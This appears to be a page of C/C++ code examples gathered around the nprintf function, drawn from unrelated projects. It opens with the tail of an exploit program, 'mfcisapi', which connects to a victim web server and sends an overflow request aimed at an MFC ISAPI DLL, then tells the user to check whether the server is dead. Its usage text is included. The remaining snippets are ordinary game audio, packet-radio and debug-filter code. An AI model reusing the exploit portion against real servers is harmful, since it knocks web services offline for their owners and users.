    struct sockaddr_in sa_in;	/* Socket address storage */
    char *offset;			/* Buffer pointer */
    int i;				/* Counting integer */

    /*
     * Windows-specific crap to initialize WinSock
     * This compatibility stuff bloats my code rather
     * badly... (I love Windows! :-XD)
    */

#ifdef _WIN32
    WSADATA wsa_prov;
    if (!WSAStartup(0x0101, &wsa_prov) == 0) {
        die("WinSock initialization failed!");
    }
#endif

    /* Handle the argument vector */

    port = htons(80);
    switch(argc) {
    case 5:
        buffsize = atoi(argv[4]);
    case 4:
        port = htons((unsigned short)atoi(argv[3]));
    case 3:
        break;
    case 2:
    case 1:
    default:
        usage();
    }

    /* Make the TCP socket for the exploit */

    hSock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (hSock == SOCKET_ERROR) {
        die("Couldn't create exploit socket!");
    }

    /* Fill in the address information */

    sa_in.sin_family = AF_INET;
    sa_in.sin_port = port;
    sa_in.sin_addr.S_un.S_addr = inet_addr(argv[1]);

    /* Create memory buffer for exploit */

    sprintf(&exploit[0], &request[0], argv[2]);

    /* Try to connect to the victim server. */

    if (!connect(hSock, &sa_in, sizeof(struct sockaddr_in)) == 0) {
        die("Couldn't connect; probably no web server there.");
    }

    /* Send out the overflow */

    send(hSock, &exploit[0], strlen(&exploit[0]), 0);
    nprintf("Exploit sent -- check if the server/worker is dead.");

    /* Do some cleanup */

    shutdown(hSock, SD_BOTH);
#ifndef _WIN32
    close(hSock);
#else				/* Once again, Windows deviates... */
    closesocket(hSock);
    WSACleanup();
#endif
    return;
}
Beispiel #13
0
void usage(void) {
    nprintf("Usage: mfcisapi <host> <isapi> [port]\x0d\x0a\x0d\x0ahost - the address to exploit (e.g, 127.0.0.1)\x0d\x0aisapi - the path of the ISAPI DLL/mapping to exploit (e.g, /ext.dll, /iisstart.asp)\x0d\x0aport - the port that the web service runs on (usually 80)");
    exit(1);
}
Beispiel #14
0
// initializes hardware device from perferred/default/enumerated list
bool openal_init_device(SCP_string *playback, SCP_string *capture)
{
	if ( !Playback_device.empty() ) {
		if (playback) {
			*playback = Playback_device;
		}

		if (capture) {
			*capture = Capture_device;
		}

		return true;
	}

	if (playback) {
		playback->erase();
	}

	if (capture) {
		capture->erase();
	}

	// initialize default setup first, for version check...

	ALCdevice *device = alcOpenDevice(NULL);

	if (device == NULL) {
		return false;
	}

	ALCcontext *context = alcCreateContext(device, NULL);

	if (context == NULL) {
		alcCloseDevice(device);
		return false;
	}

	alcMakeContextCurrent(context);

	// version check (for 1.0 or 1.1)
	ALCint AL_minor_version = 0;
	alcGetIntegerv(NULL, ALC_MINOR_VERSION, sizeof(ALCint), &AL_minor_version);

	if (AL_minor_version < 1) {
		os::dialogs::Message(os::dialogs::MESSAGEBOX_ERROR,
			"OpenAL 1.1 or newer is required for proper operation. On Linux and Windows OpenAL Soft is recommended. If you are on Mac OS X you need to upgrade your OS.");

		alcMakeContextCurrent(NULL);
		alcDestroyContext(context);
		alcCloseDevice(device);

		return false;
	}

	alcGetError(device);

	// close default device
	alcMakeContextCurrent(NULL);
	alcDestroyContext(context);
	alcCloseDevice(device);


	// go through and find out what devices we actually want to use ...
	find_playback_device();
	find_capture_device();

	if ( Playback_device.empty() ) {
		return false;
	}


#ifndef NDEBUG
	if ( !PlaybackDevices.empty() ) {
		nprintf(("OpenAL", "  Available Playback Devices:\n"));

		for (size_t idx = 0; idx < PlaybackDevices.size(); idx++) {
			nprintf(("OpenAL", "    %s", PlaybackDevices[idx].device_name.c_str()));

			if (PlaybackDevices[idx].type == OAL_DEVICE_USER) {
				nprintf(("OpenAL", "  *preferred*\n"));
			} else if (PlaybackDevices[idx].type == OAL_DEVICE_DEFAULT) {
				nprintf(("OpenAL", "  *default*\n"));
			} else {
				nprintf(("OpenAL", "\n"));
			}
		}
	}

	if ( !CaptureDevices.empty() ) {
		if ( !PlaybackDevices.empty() ) {
			nprintf(("OpenAL", "\n"));
		}

		nprintf(("OpenAL", "  Available Capture Devices:\n"));

		for (size_t idx = 0; idx < CaptureDevices.size(); idx++) {
			nprintf(("OpenAL", "    %s", CaptureDevices[idx].device_name.c_str()));

			if (CaptureDevices[idx].type == OAL_DEVICE_USER) {
				nprintf(("OpenAL", "  *preferred*\n"));
			} else if (CaptureDevices[idx].type == OAL_DEVICE_DEFAULT) {
				nprintf(("OpenAL", "  *default*\n"));
			} else {
				nprintf(("OpenAL", "\n"));
			}
		}

		nprintf(("OpenAL", "\n"));
	}
#endif


	// cleanup
	PlaybackDevices.clear();
	CaptureDevices.clear();


	if (playback) {
		*playback = Playback_device;
	}

	if (capture) {
		*capture = Capture_device;
	}

	return true;
}
Beispiel #15
0
// Read
//
// Returns number of bytes actually read.
// 
//	Returns -1 if there is nothing more to be read.  This function can return 0, since
// sometimes the amount of bytes requested is too small for the ACM decompression to 
// locate a suitable block
int WaveFile::Read(BYTE* pbDest, UINT cbSize, int service)
{
	unsigned char* dest_buf = NULL, *uncompressed_wave_data;
	int rc, uncompressed_bytes_written, section, last_section = -1, byte_order = 0;
	unsigned int src_bytes_used, convert_len, num_bytes_desired = 0, num_bytes_read;

	//	nprintf(("Alan","Reqeusted: %d\n", cbSize));

#if BYTE_ORDER == BIG_ENDIAN

	byte_order = 1;

#endif


	if (service)
	{
		uncompressed_wave_data = Wavedata_service_buffer;
	}
	else
	{
		uncompressed_wave_data = Wavedata_load_buffer;
	}

	switch (m_wave_format)
	{
	case WAVE_FORMAT_PCM:
		num_bytes_desired = cbSize;
		dest_buf = pbDest;
		break;

	case WAVE_FORMAT_ADPCM:
		if (!m_hStream_open)
		{
			if (!ACM_stream_open(m_pwfmt_original, &m_wfxDest, (void**)&m_hStream), m_wfmt.wBitsPerSample)
			{
				m_hStream_open = 1;
			}
			else
			{
				Int3();
			}
		}

		num_bytes_desired = cbSize;

		if (service)
		{
			dest_buf = Compressed_service_buffer;
		}
		else
		{
			dest_buf = Compressed_buffer;
		}

		if (num_bytes_desired <= 0)
		{
			num_bytes_desired = 0;
			//				nprintf(("Alan","No bytes required for ADPCM time interval\n"));
		}
		else
		{
			num_bytes_desired = ACM_query_source_size((void*)m_hStream, cbSize);
			//				nprintf(("Alan","Num bytes desired: %d\n", num_bytes_desired));
		}
		break;

	case OGG_FORMAT_VORBIS:
		num_bytes_desired = cbSize;
		dest_buf = pbDest;
		break;

	default:
		nprintf(("SOUND", "SOUND => Not supporting %d format for playing wave files\n"));
		Int3();
		break;

	} // end switch

	num_bytes_read = 0;
	convert_len = 0;
	src_bytes_used = 0;

	// read data from disk
	if (m_data_bytes_left <= 0)
	{
		num_bytes_read = 0;
		uncompressed_bytes_written = 0;
		return -1;
	}

	if ((m_data_bytes_left > 0) && (num_bytes_desired > 0))
	{
		int actual_read = 0;

		if (num_bytes_desired <= (uint)m_data_bytes_left)
		{
			num_bytes_read = num_bytes_desired;
		}
		else
		{
			num_bytes_read = m_data_bytes_left;
		}

		// OGG reading is special
		if (m_wave_format == OGG_FORMAT_VORBIS)
		{
			while (!m_abort_next_read && ((uint)actual_read < num_bytes_read))
			{
				rc = ov_read(&m_snd_info.vorbis_file, (char*)dest_buf + actual_read, num_bytes_read - actual_read,
					byte_order, m_wfmt.wBitsPerSample / 8, 1, &section);

				// fail if the bitstream changes, shouldn't get this far if that's the case though
				if ((last_section != -1) && (last_section != section))
				{
					mprintf(("AUDIOSTR => OGG reading error:  We don't handle bitstream changes!\n"));
					goto READ_ERROR;
				}

				if (rc > 0)
				{
					last_section = section;
					actual_read += rc;
				}
				else if (rc == 0)
				{
					break;
				}
				else if (rc == OV_EBADLINK)
				{
					goto READ_ERROR;
				}
			}
		}
			// standard WAVE reading
		else
		{
			actual_read = mmioRead(m_snd_info.cfp, (char*)dest_buf, num_bytes_read);
		}

		if ((actual_read <= 0) || (m_abort_next_read))
		{
			num_bytes_read = 0;
			uncompressed_bytes_written = 0;
			return -1;
		}

		if (num_bytes_desired >= (uint)m_data_bytes_left)
		{
			m_abort_next_read = 1;
		}

		num_bytes_read = actual_read;
	}

	// convert data if necessary, to PCM
	if (m_wave_format == WAVE_FORMAT_ADPCM)
	{
		if (num_bytes_read > 0)
		{
			rc = ACM_convert((void*)m_hStream, dest_buf, num_bytes_read, uncompressed_wave_data,
				BIGBUF_SIZE, &convert_len, &src_bytes_used);
			if (rc == -1)
			{
				goto READ_ERROR;
			}
			if (convert_len == 0)
			{
				Int3();
			}
		}

		Assert(src_bytes_used <= num_bytes_read);
		if (src_bytes_used < num_bytes_read)
		{
			// seek back file pointer to reposition before unused source data
			mmioSeek(m_snd_info.cfp, src_bytes_used - num_bytes_read, SEEK_CUR);
		}

		// Adjust number of bytes left
		m_data_bytes_left -= src_bytes_used;
		m_nBytesPlayed += src_bytes_used;
		uncompressed_bytes_written = convert_len;

		// Successful read, keep running total of number of data bytes read
		goto READ_DONE;
	}
	else
	{
		// Successful read, keep running total of number of data bytes read
		// Adjust number of bytes left
		m_data_bytes_left -= num_bytes_read;
		m_nBytesPlayed += num_bytes_read;
		uncompressed_bytes_written = num_bytes_read;
		goto READ_DONE;
	}

READ_ERROR:
	num_bytes_read = 0;
	uncompressed_bytes_written = 0;

READ_DONE:
	m_total_uncompressed_bytes_read += uncompressed_bytes_written;
	//	nprintf(("Alan","Read: %d\n", uncompressed_bytes_written));
	return (uncompressed_bytes_written);
}
Beispiel #16
0
Datei: RT1.C Projekt: g8bpq/BPQ32
static void node_xmit(NODE *node, char kind, CIRCUIT *circuit)
{
	if (!cn_find(circuit, node)) nprintf(circuit->s, "%c%c%s %s %s\n",
		FORMAT, kind, Node->calls, node->call, node->alias);
}
Beispiel #17
0
// Create
BOOL AudioStream::Create(LPSTR pszFilename, AudioStreamServices* pass)
{
	BOOL fRtn = SUCCESS;    // assume success

	Assert(pszFilename);
	Assert(pass);

	m_pass = pass;
	Init_Data();

	if (pszFilename && m_pass)
	{
		// Create a new WaveFile object

		m_pwavefile = (WaveFile*)vm_malloc(sizeof(WaveFile));
		Assert(m_pwavefile);

		if (m_pwavefile)
		{
			// Call constructor
			m_pwavefile->Init();
			// Open given file
			if (m_pwavefile->Open(pszFilename))
			{
				// Calculate sound buffer size in bytes
				// Buffer size is average data rate times length of buffer
				// No need for buffer to be larger than wave data though
				m_cbBufSize = (m_pwavefile->GetUncompressedAvgDataRate() * m_nBufLength) / 1000;
				// if the requested buffer size is too big then cap it
				m_cbBufSize = (m_cbBufSize > BIGBUF_SIZE) ? BIGBUF_SIZE : m_cbBufSize;
				nprintf(("SOUND", "SOUND => Stream buffer created using %d bytes\n", m_cbBufSize));
				// m_cbBufSize = (m_cbBufSize > m_pwavefile->GetDataSize ()) ? m_pwavefile->GetDataSize () : m_cbBufSize;

				//nprintf(("Sound", "SOUND => average data rate = %d\n\r", m_pwavefile->GetUncompressedAvgDataRate ()));
				//nprintf(("Sound", "SOUND => m_cbBufSize = %d\n\r", m_cbBufSize));

				// Create sound buffer
				HRESULT hr;
				memset(&m_dsbd, 0, sizeof (DSBUFFERDESC));
				m_dsbd.dwSize = sizeof (DSBUFFERDESC);
				m_dsbd.dwBufferBytes = m_cbBufSize;
				m_dsbd.lpwfxFormat = &m_pwavefile->m_wfmt;
				m_dsbd.dwFlags = DSBCAPS_STATIC | DSBCAPS_CTRLPAN | DSBCAPS_CTRLVOLUME;

				hr = (m_pass->GetPDS())->CreateSoundBuffer(&m_dsbd, &m_pdsb, NULL);
				if (hr == DS_OK)
				{
					// Cue for playback
					Cue();
					Snd_sram += m_cbBufSize;
				}
				else
				{
					// Error, unable to create DirectSound buffer
					nprintf(("Sound", "SOUND => Error, unable to create DirectSound buffer\n\r"));
					if (hr == DSERR_BADFORMAT)
					{
						nprintf(("Sound", "SOUND => Bad format (probably ADPCM)\n\r"));
					}

					fRtn = FAILURE;
				}
			}
			else
			{
				// Error opening file
				nprintf(("SOUND", "SOUND => Failed to open wave file: %s\n\r", pszFilename));
				m_pwavefile->Close();
				vm_free(m_pwavefile);
				m_pwavefile = NULL;
				fRtn = FAILURE;
			}
		}
		else
		{
			// Error, unable to create WaveFile object
			nprintf(("Sound", "SOUND => Failed to create WaveFile object %s\n\r", pszFilename));
			fRtn = FAILURE;
		}
	}
	else
	{
		// Error, passed invalid parms
		fRtn = FAILURE;
	}

	return (fRtn);
}
Beispiel #18
0
void load_filter_info(void)
{
	FILE *fp;
	char pathname[256], inbuf[FILTER_NAME_LENGTH+4];
	int z;

	outwnd_filter_loaded = 1;
	outwnd_filter_count = 0;
	strcpy(pathname, "Debug_filter.cfg" );
	fp = fopen(pathname, "rt");
	if (!fp)	{
		Outwnd_no_filter_file = 1;

		outwnd_filter[outwnd_filter_count] = &real_outwnd_filter[outwnd_filter_count];
		strcpy( outwnd_filter[outwnd_filter_count]->name, "error" );
		outwnd_filter[outwnd_filter_count]->state = 1;
		outwnd_filter_count++;

		outwnd_filter[outwnd_filter_count] = &real_outwnd_filter[outwnd_filter_count];
		strcpy( outwnd_filter[outwnd_filter_count]->name, "general" );
		outwnd_filter[outwnd_filter_count]->state = 1;
		outwnd_filter_count++;

		outwnd_filter[outwnd_filter_count] = &real_outwnd_filter[outwnd_filter_count];
		strcpy( outwnd_filter[outwnd_filter_count]->name, "warning" );
		outwnd_filter[outwnd_filter_count]->state = 1;
		outwnd_filter_count++;

		return;
	}

	Outwnd_no_filter_file = 0;

	while (fgets(inbuf, FILTER_NAME_LENGTH+3, fp))
	{
		if (outwnd_filter_count == MAX_FILTERS)
			break;

		outwnd_filter[outwnd_filter_count] = &real_outwnd_filter[outwnd_filter_count];
		if (*inbuf == '+')
			outwnd_filter[outwnd_filter_count]->state = 1;
		else if (*inbuf == '-')
			outwnd_filter[outwnd_filter_count]->state = 0;
		else continue;  // skip everything else

		z = strlen(inbuf) - 1;
		if (inbuf[z] == '\n')
			inbuf[z] = 0;

		Assert(strlen(inbuf+1) < FILTER_NAME_LENGTH);
		strcpy(outwnd_filter[outwnd_filter_count]->name, inbuf + 1);

		if ( !stricmp( outwnd_filter[outwnd_filter_count]->name, "error" ) )	{
			outwnd_filter[outwnd_filter_count]->state = 1;
		} else if ( !stricmp( outwnd_filter[outwnd_filter_count]->name, "general" ) )	{
			outwnd_filter[outwnd_filter_count]->state = 1;
		} else if ( !stricmp( outwnd_filter[outwnd_filter_count]->name, "warning" ) )	{
			outwnd_filter[outwnd_filter_count]->state = 1;
		}

		outwnd_filter_count++;
	}

	if (ferror(fp) && !feof(fp))
		nprintf(("Error", "Error reading \"%s\"\n", pathname));

	fclose(fp);
}